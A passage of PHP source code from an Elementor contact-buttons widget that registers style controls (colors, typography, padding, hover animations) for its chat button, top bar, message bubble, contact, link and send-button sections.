'elementor' ), 'fast' => esc_html__( 'Fast', 'elementor' ), ], 'prefix_class' => 'animated-', ] ); $this->add_control( 'style_chat_button_animation_delay', [ 'label' => esc_html__( 'Animation Delay', 'elementor' ) . ' (ms)', 'type' => Controls_Manager::NUMBER, 'min' => 0, 'step' => 100, 'selectors' => [ '{{WRAPPER}} .e-contact-buttons' => '--e-contact-button-chat-button-animation-delay: {{SIZE}}ms;', ], 'render_type' => 'none', 'frontend_available' => true, 'separator' => 'after', ] ); } if ( $config['style']['chat_button_section']['has_box_shadow'] ) { $this->add_group_control( Group_Control_Box_Shadow::get_type(), [ 'name' => 'style_chat_button_box_shadow', 'selector' => '{{WRAPPER}} .e-contact-buttons__chat-button-shadow', ] ); } if ( $config['style']['chat_button_section']['has_drop_shadow'] ) { $this->add_group_control( Group_Control_Box_Shadow::get_type(), [ 'name' => 'style_chat_button_drop_shadow', 'fields_options' => [ 'box_shadow' => [ 'selectors' => [ '{{WRAPPER}} .e-contact-buttons__chat-button-drop-shadow' => 'filter: drop-shadow({{HORIZONTAL}}px {{VERTICAL}}px {{BLUR}}px {{COLOR}});', ], ], ], ] ); } if ( $config['style']['chat_button_section']['has_padding'] ) { $this->add_responsive_control( 'style_chat_button_padding', [ 'label' => esc_html__( 'Padding', 'elementor' ), 'type' => Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem' ], 'selectors' => [ '{{WRAPPER}} .e-contact-buttons' => '--e-contact-buttons-chat-button-padding-block-end: {{BOTTOM}}{{UNIT}}; --e-contact-buttons-chat-button-padding-block-start: {{TOP}}{{UNIT}}; --e-contact-buttons-chat-button-padding-inline-end: {{RIGHT}}{{UNIT}}; --e-contact-buttons-chat-button-padding-inline-start: {{LEFT}}{{UNIT}};', ], 'separator' => 'before', ] ); } if ( 'custom' == $config['style']['chat_button_section']['hover_animation_type'] ) { $this->add_control( 'style_chat_button_custom_animation_heading', [ 'label' => esc_html__( 'Hover Animation', 'elementor' ), 'type' => Controls_Manager::HEADING, 'separator' => 'before', ] ); $this->add_control( 'style_chat_button_custom_animation_alert', [ 'type' => Controls_Manager::ALERT, 'alert_type' => 'info', 'content' => __( 'Hover animation is desktop only', 'elementor' ), ] ); $this->add_control( 'style_chat_button_custom_animation_transition', [ 'label' => esc_html__( 'Transition Duration', 'elementor' ) . ' (s)', 'type' => Controls_Manager::SLIDER, 'range' => [ 's' => [ 'min' => 0, 'max' => 3, 'step' => 0.1, ], ], 'default' => [ 'unit' => 's', 'size' => 0.3, ], 'selectors' => [ '{{WRAPPER}} .e-contact-buttons' => '--e-contact-buttons-transition-duration: {{SIZE}}{{UNIT}}', ], ] ); } $this->end_controls_section(); } protected function add_style_top_bar_section(): void { $config = static::get_configuration(); $this->start_controls_section( 'style_top_bar_section', [ 'label' => $config['content']['top_bar_section']['section_name'], 'tab' => Controls_Manager::TAB_STYLE, ] ); if ( $config['content']['top_bar_section']['has_image'] ) { $this->add_control( 'style_top_bar_profile_heading', [ 'label' => esc_html__( 'Profile Image', 'elementor' ), 'type' => Controls_Manager::HEADING, 'separator' => 'before', ] ); $this->add_control( 'style_top_bar_image_size', [ 'label' => esc_html__( 'Size', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => 'medium', 'options' => [ 'small' => esc_html__( 'Small', 'elementor' ), 'medium' => esc_html__( 'Medium', 'elementor' ), 'large' => esc_html__( 'Large', 'elementor' ), ], ] ); } if ( $config['style']['has_platform_colors'] ) { $this->add_control( 'style_top_bar_colors', [ 'label' => esc_html__( 'Colors', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => 'default', 'options' => [ 'default' => esc_html__( 'Default', 'elementor' ), 'custom' => esc_html__( 'Custom', 'elementor' ), ], 'separator' => 'before', ] ); } if ( $config['style']['top_bar_section']['has_title_heading'] ) { $this->add_control( 'style_top_bar_title_heading', [ 'label' => $config['style']['top_bar_section']['title_heading_label'], 'type' => Controls_Manager::HEADING, 'separator' => ! $config['style']['has_platform_colors'] ? 'before' : false, ] ); } $this->add_control( 'style_top_bar_title_color', [ 'label' => esc_html__( 'Text Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-contact-buttons' => '--e-contact-buttons-top-bar-title: {{VALUE}}', ], 'condition' => $this->get_platform_color_condition( [ 'style_top_bar_colors' => 'custom', ] ), ] ); $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'style_top_bar_title_typography', 'selector' => '{{WRAPPER}} .e-contact-buttons__top-bar-title', ] ); if ( $config['content']['top_bar_section']['has_subtitle'] ) { $this->add_control( 'style_top_bar_subtitle_heading', [ 'label' => $config['style']['top_bar_section']['subtitle_heading_label'], 'type' => Controls_Manager::HEADING, 'separator' => false, ] ); $this->add_control( 'style_top_bar_subtitle_color', [ 'label' => esc_html__( 'Text Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-contact-buttons' => '--e-contact-buttons-top-bar-subtitle: {{VALUE}}', ], 'condition' => $this->get_platform_color_condition( [ 'style_top_bar_colors' => 'custom', ] ), ] ); $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'style_top_bar_subtitle_typography', 'selector' => '{{WRAPPER}} .e-contact-buttons__top-bar-subtitle', ] ); } $close_and_background_partial_divider = 'before'; if ( $config['style']['top_bar_section']['has_style_close_button'] ) { if ( $config['style']['top_bar_section']['has_close_button_heading'] ) { $this->add_control( 'style_top_bar_close_button_heading', [ 'label' => esc_html__( 'Close Button', 'elementor' ), 'type' => Controls_Manager::HEADING, 'separator' => $close_and_background_partial_divider, 'condition' => $this->get_platform_color_condition( [ 'style_top_bar_colors' => 'custom', ] ), ] ); $close_and_background_partial_divider = false; } $this->add_control( 'style_top_bar_close_button_color', [ 'label' => esc_html__( 'Close Button Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-contact-buttons' => '--e-contact-buttons-close-button-color: {{VALUE}}', ], 'condition' => $this->get_platform_color_condition( [ 'style_top_bar_colors' => 'custom', ] ), 'separator' => $close_and_background_partial_divider, ] ); $close_and_background_partial_divider = false; } if ( $config['style']['top_bar_section']['has_background'] ) { if ( $config['style']['top_bar_section']['has_background_heading'] ) { $this->add_control( 'style_top_bar_background_heading', [ 'label' => esc_html__( 'Background', 'elementor' ), 'type' => Controls_Manager::HEADING, 'separator' => $close_and_background_partial_divider, 'condition' => $this->get_platform_color_condition( [ 'style_top_bar_colors' => 'custom', ] ), ] ); $close_and_background_partial_divider = false; } $this->add_control( 'style_top_bar_background_color', [ 'label' => esc_html__( 'Background Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-contact-buttons' => '--e-contact-buttons-top-bar-bg: {{VALUE}}', ], 'condition' => $this->get_platform_color_condition( [ 'style_top_bar_colors' => 'custom', ] ), 'separator' => $close_and_background_partial_divider, ] ); } $this->end_controls_section(); } protected function add_style_message_bubble_section(): void { $config = static::get_configuration(); $this->start_controls_section( 'style_bubble_section', [ 'label' => esc_html__( 'Message Bubble', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, ] ); if ( $config['style']['has_platform_colors'] ) { $this->add_control( 'style_bubble_colors', [ 'label' => esc_html__( 'Colors', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => 'default', 'options' => [ 'default' => esc_html__( 'Default', 'elementor' ), 'custom' => esc_html__( 'Custom', 'elementor' ), ], ] ); } $this->add_control( 'style_bubble_name_heading', [ 'label' => esc_html__( 'Name', 'elementor' ), 'type' => Controls_Manager::HEADING, 'separator' => false, ] ); $this->add_control( 'style_bubble_name_color', [ 'label' => esc_html__( 'Text Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-contact-buttons' => '--e-contact-buttons-message-bubble-name: {{VALUE}}', ], 'condition' => $this->get_platform_color_condition( [ 'style_bubble_colors' => 'custom', ] ), ] ); $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'style_bubble_name_typography', 'selector' => '{{WRAPPER}} .e-contact-buttons__message-bubble-name', ] ); $this->add_control( 'style_bubble_message_heading', [ 'label' => esc_html__( 'Message', 'elementor' ), 'type' => Controls_Manager::HEADING, 'separator' => false, ] ); $this->add_control( 'style_bubble_message_color', [ 'label' => esc_html__( 'Text Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-contact-buttons' => '--e-contact-buttons-message-bubble-body: {{VALUE}}', ], 'condition' => $this->get_platform_color_condition( [ 'style_bubble_colors' => 'custom', ] ), ] ); $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'style_bubble_message_typography', 'selector' => '{{WRAPPER}} .e-contact-buttons__message-bubble-body', ] ); $this->add_control( 'style_bubble_time_heading', [ 'label' => esc_html__( 'Time', 'elementor' ), 'type' => Controls_Manager::HEADING, 'separator' => false, ] ); $this->add_control( 'style_bubble_time_color', [ 'label' => esc_html__( 'Text Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-contact-buttons' => '--e-contact-buttons-message-bubble-time: {{VALUE}}', ], 'condition' => $this->get_platform_color_condition( [ 'style_bubble_colors' => 'custom', ] ), ] ); $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'style_bubble_time_typography', 'selector' => '{{WRAPPER}} .e-contact-buttons__message-bubble-time', ] ); $this->add_control( 'style_bubble_background_color', [ 'label' => esc_html__( 'Bubble Background Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-contact-buttons' => '--e-contact-buttons-message-bubble-bubble-bg: {{VALUE}}', ], 'condition' => $this->get_platform_color_condition( [ 'style_bubble_colors' => 'custom', ] ), 'separator' => 'before', ] ); if ( $config['style']['message_bubble_section']['has_chat_background'] ) { $this->add_control( 'style_bubble_chat_color', [ 'label' => esc_html__( 'Chat Background Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-contact-buttons' => '--e-contact-buttons-message-bubble-chat-bg: {{VALUE}}', ], 'condition' => $this->get_platform_color_condition( [ 'style_bubble_colors' => 'custom', ] ), ] ); } $this->end_controls_section(); } protected function add_style_contact_section(): void { $config = static::get_configuration(); $this->start_controls_section( 'style_contact_section', [ 'label' => $config['content']['contact_section']['section_name'], 'tab' => Controls_Manager::TAB_STYLE, ] ); if ( $config['content']['contact_section']['has_cta_text'] ) { $this->add_control( 'style_contact_text_heading', [ 'label' => esc_html__( 'Call to Action Text', 'elementor' ), 'type' => Controls_Manager::HEADING, 'separator' => false, 'condition' => $this->get_platform_color_condition( [ 'style_bubble_colors' => 'custom', ] ), ] ); $this->add_control( 'style_contact_text_color', [ 'label' => esc_html__( 'Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-contact-buttons' => '--e-contact-buttons-contact-text: {{VALUE}}', ], ] ); $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'style_contact_text_typography', 'selector' => '{{WRAPPER}} .e-contact-buttons__contact-text', ] ); } if ( $config['style']['contact_section']['has_buttons_heading'] ) { $this->add_control( 'style_contact_buttons_heading', [ 'label' => $config['style']['contact_section']['buttons_heading_label'], 'type' => Controls_Manager::HEADING, 'separator' => false, 'condition' => $this->get_platform_color_condition( [ 'style_bubble_colors' => 'custom', ] ), ] ); } if ( $config['style']['contact_section']['has_buttons_size'] ) { $this->add_control( 'style_contact_button_size', [ 'label' => esc_html__( 'Size', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => 'small', 'options' => [ 'small' => esc_html__( 'Small', 'elementor' ), 'medium' => esc_html__( 'Medium', 'elementor' ), 'large' => esc_html__( 'Large', 'elementor' ), ], ] ); } if ( $config['style']['contact_section']['has_text_color'] ) { $this->add_control( 'style_contact_button_text_color', [ 'label' => $config['style']['contact_section']['icon_color_label'], 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-contact-buttons' => '--e-contact-buttons-contact-button-icon: {{VALUE}}', ], ] ); } if ( $config['style']['contact_section']['has_typography'] ) { $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'style_contact_typography', 'selector' => '{{WRAPPER}} .e-contact-buttons__contact-icon-link', ] ); } if ( $config['style']['contact_section']['has_bg_color'] ) { $this->add_control( 'style_contact_button_bg_color', [ 'label' => esc_html__( 'Background Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-contact-buttons' => '--e-contact-buttons-contact-button-bg: {{VALUE}}', ], ] ); } if ( $config['style']['contact_section']['has_tabs'] ) { $this->start_controls_tabs( 'style_contact_button_color_tabs' ); $this->start_controls_tab( 'style_contact_button_color_tabs_normal', [ 'label' => esc_html__( 'Normal', 'elementor' ), ] ); $this->add_control( 'style_contact_button_color_icon', [ 'label' => $config['style']['contact_section']['icon_color_label'], 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-contact-buttons' => '--e-contact-buttons-contact-button-icon: {{VALUE}}', ], ] ); if ( $config['style']['contact_section']['has_icon_bg_color'] ) { $this->add_control( 'style_contact_button_color_background', [ 'label' => esc_html__( 'Background Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-contact-buttons' => '--e-contact-buttons-contact-button-bg: {{VALUE}}', ], ] ); } $this->end_controls_tab(); $this->start_controls_tab( 'style_contact_button_color_tabs_hover', [ 'label' => esc_html__( 'Hover', 'elementor' ), ] ); $this->add_control( 'style_contact_button_color_icon_hover', [ 'label' => esc_html__( 'Icon Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-contact-buttons' => '--e-contact-buttons-contact-button-icon-hover: {{VALUE}}', ], ] ); if ( $config['style']['contact_section']['has_icon_bg_color'] ) { $this->add_control( 'style_contact_button_color_background_hover', [ 'label' => esc_html__( 'Background Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-contact-buttons' => '--e-contact-buttons-contact-button-bg-hover: {{VALUE}}', ], ] ); } if ( $config['style']['contact_section']['has_hover_animation'] ) { $this->add_hover_animation_control( 'style_contact_button_hover_animation', ); } $this->end_controls_tab(); $this->end_controls_tabs(); } if ( $config['style']['contact_section']['has_buttons_spacing'] ) { $this->add_responsive_control( 'style_contact_buttons_spacing', [ 'label' => esc_html__( 'Buttons Spacing', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'range' => [ '%' => [ 'min' => 10, 'max' => 100, ], 'px' => [ 'min' => 0, 'max' => 100, ], ], 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'selectors' => [ '{{WRAPPER}} .e-contact-buttons' => '--e-contact-buttons-contact-gap: {{SIZE}}{{UNIT}}', ], 'separator' => 'before', ] ); } if ( $config['style']['contact_section']['has_button_corners'] ) { $this->add_control( 'style_contact_corners', [ 'label' => esc_html__( 'Corners', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => 'round', 'options' => [ 'round' => esc_html__( 'Round', 'elementor' ), 'rounded' => esc_html__( 'Rounded', 'elementor' ), 'sharp' => esc_html__( 'Sharp', 'elementor' ), ], ] ); } if ( $config['style']['contact_section']['has_box_shadow'] ) { $this->add_group_control( Group_Control_Box_Shadow::get_type(), [ 'name' => 'style_contact_icons_box_shadow', 'selector' => '{{WRAPPER}} .e-contact-buttons__contact-box-shadow', ] ); } if ( $config['content']['contact_section']['repeater']['has_tooltip'] ) { $this->add_control( 'style_contact_tooltip_heading', [ 'label' => esc_html__( 'Tooltips', 'elementor' ), 'type' => Controls_Manager::HEADING, 'separator' => 'before', ] ); $this->add_control( 'style_contact_tooltip_text_color', [ 'label' => esc_html__( 'Text Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-contact-buttons' => '--e-contact-buttons-tooltip-text: {{VALUE}}', ], ] ); $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'style_contact_tooltip_typography', 'selector' => '{{WRAPPER}} .e-contact-buttons__contact-tooltip', ] ); $this->add_control( 'style_contact_tooltip_bg_color', [ 'label' => esc_html__( 'Background Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-contact-buttons' => '--e-contact-buttons-tooltip-bg: {{VALUE}}', ], ] ); } if ( $config['style']['contact_section']['has_chat_box_animation'] ) { $this->chat_box_animation_controls(); } if ( $config['style']['contact_section']['has_button_bar'] ) { $this->add_control( 'style_contact_button_bar_heading', [ 'label' => esc_html__( 'Button Bar', 'elementor' ), 'type' => Controls_Manager::HEADING, 'separator' => 'before', ] ); $this->add_control( 'style_contact_button_bar_bg_color', [ 'label' => esc_html__( 'Background Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-contact-buttons' => '--e-contact-buttons-button-bar-bg: {{VALUE}}', ], ] ); $this->add_control( 'style_contact_button_bar_corners', [ 'label' => esc_html__( 'Corners', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => 'round', 'options' => [ 'round' => esc_html__( 'Round', 'elementor' ), 'rounded' => esc_html__( 'Rounded', 'elementor' ), 'sharp' => esc_html__( 'Sharp', 'elementor' ), ], ] ); $this->add_responsive_control( 'style_contact_button_bar_padding', [ 'label' => esc_html__( 'Padding', 'elementor' ), 'type' => Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem' ], 'selectors' => [ '{{WRAPPER}} .e-contact-buttons' => '--e-contact-buttons-button-bar-padding-block-end: {{BOTTOM}}{{UNIT}}; --e-contact-buttons-button-bar-padding-block-start: {{TOP}}{{UNIT}}; --e-contact-buttons-button-bar-padding-inline-end: {{RIGHT}}{{UNIT}}; --e-contact-buttons-button-bar-padding-inline-start: {{LEFT}}{{UNIT}};', ], 'separator' => 'before', ] ); } if ( $config['style']['contact_section']['has_padding'] ) { $this->add_responsive_control( 'style_contact_padding', [ 'label' => esc_html__( 'Padding', 'elementor' ), 'type' => Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem' ], 'selectors' => [ '{{WRAPPER}} .e-contact-buttons' => '--e-contact-buttons-contact-padding-block-end: {{BOTTOM}}{{UNIT}}; --e-contact-buttons-contact-padding-block-start: {{TOP}}{{UNIT}}; --e-contact-buttons-contact-padding-inline-end: {{RIGHT}}{{UNIT}}; --e-contact-buttons-contact-padding-inline-start: {{LEFT}}{{UNIT}};', ], 'separator' => 'before', ] ); } if ( $config['style']['contact_section']['has_hover_transition_duration'] ) { $this->add_control( 'style_contact_custom_animation_heading', [ 'label' => esc_html__( 'Animation', 'elementor' ), 'type' => Controls_Manager::HEADING, ] ); $this->add_control( 'style_contact_custom_animation_alert', [ 'type' => Controls_Manager::ALERT, 'alert_type' => 'info', 'content' => __( 'Adjust transition duration to change the speed of the hover animation on desktop and the click animation on touchscreen.', 'elementor' ), ] ); $this->add_control( 'style_contact_custom_animation_transition', [ 'label' => esc_html__( 'Transition Duration', 'elementor' ) . ' (s)', 'type' => Controls_Manager::SLIDER, 'range' => [ 's' => [ 'min' => 0, 'max' => 3, 'step' => 0.1, ], ], 'selectors' => [ '{{WRAPPER}} .e-contact-buttons' => '--e-contact-buttons-transition-duration: {{SIZE}}{{UNIT}}', ], ] ); } $this->end_controls_section(); } protected function add_style_resource_links_section(): void { $this->start_controls_section( 'style_resource_links_section', [ 'label' => esc_html__( 'Resource Links', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, ] ); $this->add_control( 'style_resource_links_icons_heading', [ 'label' => esc_html__( 'Icons', 'elementor' ), 'type' => Controls_Manager::HEADING, 'separator' => false, ] ); $this->add_control( 'style_resource_links_button_size', [ 'label' => esc_html__( 'Size', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => 'small', 'options' => [ 'small' => esc_html__( 'Small', 'elementor' ), 'medium' => esc_html__( 'Medium', 'elementor' ), 'large' => esc_html__( 'Large', 'elementor' ), ], ] ); $this->add_control( 'style_resource_links_color_select', [ 'label' => esc_html__( 'Color', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => 'custom', 'options' => [ 'default' => esc_html__( 'Default', 'elementor' ), 'custom' => esc_html__( 'Custom', 'elementor' ), ], ] ); $this->add_control( 'style_contact_icon_color', [ 'label' => esc_html__( 'Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-contact-buttons' => '--e-contact-buttons-contact-button-icon: {{VALUE}}', ], 'condition' => [ 'style_resource_links_color_select' => 'custom', ], ] ); $this->add_control( 'style_resource_links_title_heading', [ 'label' => esc_html__( 'Title', 'elementor' ), 'type' => Controls_Manager::HEADING, 'separator' => false, ] ); $this->add_control( 'style_resource_links_title_color', [ 'label' => esc_html__( 'Text Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-contact-buttons' => '--e-contact-buttons-contact-title-text-color: {{VALUE}}', ], ] ); $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'style_resource_links_title_typography', 'selector' => '{{WRAPPER}} .e-contact-buttons__contact-title', ] ); $this->add_control( 'style_resource_links_description_heading', [ 'label' => esc_html__( 'Description', 'elementor' ), 'type' => Controls_Manager::HEADING, 'separator' => false, ] ); $this->add_control( 'style_resource_links_description_color', [ 'label' => esc_html__( 'Text Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-contact-buttons' => '--e-contact-buttons-contact-description-text-color: {{VALUE}}', ], ] ); $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'style_resource_links_description_typography', 'selector' => '{{WRAPPER}} .e-contact-buttons__contact-description', ] ); $this->add_control( 'style_resource_links_bg_color', [ 'label' => esc_html__( 'Background Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-contact-buttons' => '--e-contact-buttons-contact-button-bg: {{VALUE}}', ], 'separator' => 'before', ] ); $this->add_hover_animation_control( 'style_resource_links_hover_animation', ); $this->end_controls_section(); } protected function add_style_info_links_section(): void { $this->start_controls_section( 'style_info_links_section', [ 'label' => esc_html__( 'Info Links', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, ] ); $this->add_control( 'style_info_links_icon_position', [ 'label' => esc_html__( 'Icon Position', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'options' => [ 'start' => [ 'title' => esc_html__( 'Left', 'elementor' ), 'icon' => 'eicon-h-align-left', ], 'end' => [ 'title' => esc_html__( 'Right', 'elementor' ), 'icon' => 'eicon-h-align-right', ], ], 'default' => 'start', 'toggle' => true, ] ); $this->add_control( 'style_info_links_icon_spacing', [ 'label' => esc_html__( 'Icon Spacing', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'range' => [ '%' => [ 'min' => 10, 'max' => 100, ], 'px' => [ 'min' => 0, 'max' => 20, ], ], 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'selectors' => [ '{{WRAPPER}} .e-contact-buttons' => '--e-contact-buttons-icon-link-gap: {{SIZE}}{{UNIT}}', ], ] ); $this->add_responsive_control( 'style_info_links_link_spacing', [ 'label' => esc_html__( 'Link Spacing', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'range' => [ '%' => [ 'min' => 10, 'max' => 100, ], 'px' => [ 'min' => 0, 'max' => 10, ], ], 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'selectors' => [ '{{WRAPPER}} .e-contact-buttons' => '--e-contact-buttons-icon-link-spacing: {{SIZE}}{{UNIT}}', ], ] ); $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'style_info_links_typography', 'selector' => '{{WRAPPER}} .e-contact-buttons__contact-icon-link', ] ); $this->start_controls_tabs( 'style_info_links_tabs' ); $this->start_controls_tab( 'style_info_links_tabs_normal', [ 'label' => esc_html__( 'Normal', 'elementor' ), ] ); $this->add_control( 'style_info_links_normal_text_color', [ 'label' => esc_html__( 'Text and Icon Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-contact-buttons' => '--e-contact-buttons-icon-link-text-color: {{VALUE}}', ], ] ); $this->end_controls_tab(); $this->start_controls_tab( 'style_info_links_tabs_hover', [ 'label' => esc_html__( 'Hover', 'elementor' ), ] ); $this->add_control( 'style_info_links_hover_text_color', [ 'label' => esc_html__( 'Text and Icon Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-contact-buttons' => '--e-contact-buttons-icon-link-text-color-hover: {{VALUE}}', ], ] ); $this->add_control( 'style_info_links_hover_animation', [ 'label' => esc_html__( 'Hover Animation', 'elementor' ), 'type' => Controls_Manager::HOVER_ANIMATION, 'frontend_available' => true, ] ); $this->end_controls_tab(); $this->end_controls_tabs(); $this->add_control( 'style_info_links_dividers', [ 'label' => esc_html__( 'Dividers', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'label_on' => esc_html__( 'Show', 'elementor' ), 'label_off' => esc_html__( 'Hide', 'elementor' ), 'return_value' => 'yes', 'default' => 'yes', 'separator' => 'before', ] ); $this->add_control( 'style_info_links_divider_color', [ 'label' => esc_html__( 'Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-contact-buttons' => '--e-contact-buttons-icon-link-divider-color: {{VALUE}}', ], 'condition' => [ 'style_info_links_dividers' => 'yes', ], ] ); $this->add_responsive_control( 'style_info_links_divider_weight', [ 'label' => esc_html__( 'Weight', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'range' => [ '%' => [ 'min' => 10, 'max' => 100, ], 'px' => [ 'min' => 1, 'max' => 10, ], ], 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'selectors' => [ '{{WRAPPER}} .e-contact-buttons' => '--e-contact-buttons-icon-link-divider-weight: {{SIZE}}{{UNIT}}', ], 'condition' => [ 'style_info_links_dividers' => 'yes', ], ] ); $this->end_controls_section(); } protected function add_style_send_button_section(): void { $config = static::get_configuration(); $this->start_controls_section( 'style_send_section', [ 'label' => $config['content']['send_button_section']['section_name'], 'tab' => Controls_Manager::TAB_STYLE, ] ); if ( $config['style']['send_button_section']['has_typography'] ) { $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'style_send_typography', 'selector' => $config['style']['send_button_section']['typography_selector'], ] ); } $this->start_controls_tabs( 'style_send_tabs' ); $this->start_controls_tab( 'style_send_tabs_normal', [ 'label' => esc_html__( 'Normal', 'elementor' ), ] ); if ( $config['style']['send_button_section']['has_platform_colors'] ) { $this->add_control( 'style_send_normal_colors', [ 'label' => esc_html__( 'Colors', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => 'default', 'options' => [ 'default' => esc_html__( 'Default', 'elementor' ), 'custom' => esc_html__( 'Custom', 'elementor' ), ], ] ); } if ( $config['style']['send_button_section']['has_icon_color'] ) { $this->add_control( 'style_send_normal_icon_color', [ 'label' => esc_html__( 'Icon Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-contact-buttons' => '--e-contact-buttons-send-button-icon: {{VALUE}}', ], 'condition' => [ 'style_send_normal_colors' => 'custom', ], ] ); } if ( $config['style']['send_button_section']['has_text_color'] ) { $this->add_control( 'style_send_normal_text_color', [ 'label' => esc_html__( 'Text Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-contact-buttons' => '--e-contact-buttons-send-button-text: {{VALUE}}', ], ] ); } if ( $config['style']['send_button_section']['has_background_color'] ) { $this->add_control( 'style_send_normal_background_color', [ 'label' => esc_html__( 'Background Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-contact-buttons' => '--e-contact-buttons-send-button-bg: {{VALUE}}', ], 'condition' => $this->get_platform_color_condition( [ 'style_send_normal_colors' => 'custom', ] ), ] ); } $this->end_controls_tab(); $this->start_controls_tab( 'style_send_tabs_hover', [ 'label' => esc_html__( 'Hover', 'elementor' ), ] ); if ( $config['style']['send_button_section']['has_platform_colors'] ) { $this->add_control( 'style_send_hover_colors', [ 'label' => esc_html__( 'Colors', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => 'default', 'options' => [ 'default' => esc_html__( 'Default', 'elementor' ), 'custom' => esc_html__( 'Custom', 'elementor' ), ], ] ); } if ( $config['style']['send_button_section']['has_icon_color'] ) { $this->add_control( 'style_send_hover_icon_color', [ 'label' => esc_html__( 'Icon Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-contact-buttons' => '--e-contact-buttons-send-button-icon-hover: {{VALUE}}', ], 'condition' => [ 'style_send_hover_colors' => 'custom', ], ] ); } if ( $config['style']['send_button_section']['has_text_color'] ) { $this->add_control( 'style_send_hover_text_color', [ 'label' => esc_html__( 'Text Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-contact-buttons' => '--e-contact-buttons-send-button-text-hover: {{VALUE}}', ], ] ); } if ( $config['style']['send_button_section']['has_background_color'] ) { $this->add_control( 'style_send_hover_background_color', [ 'label' => esc_html__( 'Background Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-contact-buttons' => '--e-contact-buttons-send-button-bg-hover: {{VALUE}}', ], 'condition' => $this->get_platform_color_condition( [ 'style_send_hover_colors' => 'custom', ] ), ] ); } 